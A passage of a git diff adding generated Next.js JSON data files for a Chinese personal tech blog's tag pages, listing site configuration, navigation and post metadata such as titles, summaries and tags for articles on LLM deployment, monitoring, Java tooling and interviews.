Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","date":{"start_date":"2024-04-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240405-cpu","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","title":"Java程序CPU异常监控bash脚本","status":"Published","publishDate":1712275200000,"publishDay":"2024-4-5","lastEditedDate":"2024-04-05T12:17:00.259Z","lastEditedDay":"2024-4-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","tagItems":[{"name":"运维","color":"gray"},{"name":"linux","color":"orange"},{"name":"脚本","color":"orange"},{"name":"工具","color":"pink"}],"password":""}],"tag":"linux"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/skywalking.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/skywalking.json new file mode 100644 index 000000000..6023d0612 --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/skywalking.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","slug":"article/241205-aria","pageIcon":"🗒️","lastEditedDate":"2024-12-05T07:43:49.973Z"},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","title":"开发Maven插件:实现打包后上传tos云服务","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","category":"技术分享","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","slug":"article/241110-tos-plugin","pageIcon":"🗒️","lastEditedDate":"2024-11-10T09:10:56.856Z"},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","category":"技术分享","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","slug":"article/240810-minicpm2.6","pageIcon":"🗒️","lastEditedDate":"2024-12-05T02:07:11.171Z"},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","title":"LAVIS在Mac,M1PRO芯片下的安装实战","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","category":"技术分享","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","slug":"article/240806-lavis","pageIcon":"🗒️","lastEditedDate":"2024-08-06T07:08:06.450Z"},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","title":"Iphone Mirroring圆了我AI打DNF手游的梦","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","category":"技术分享","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":1,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"posts":[{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"2024-1-21","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"2024-1-21","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"tag":"skywalking"},"__N_SSG":true} \ No newline at end of file diff --git a/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/spring.json b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/spring.json new file mode 100644 index 000000000..c0fa8e9ef --- /dev/null +++ b/_next/data/76RZ7NVoSbfF1EgLzbeEj/tag/spring.json @@ -0,0 +1 @@ +{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","title":"地瓜RDK X5上手ollama大模型测试","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","category":null,"tags":null,"summary":null,"slug":"article/241206-rdk","pageIcon":"🗒️","lastEditedDate":"2024-12-06T09:25:20.578Z"},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","title":"多模态视频大模型Aria在Docker部署","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","category":"技术分享","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core 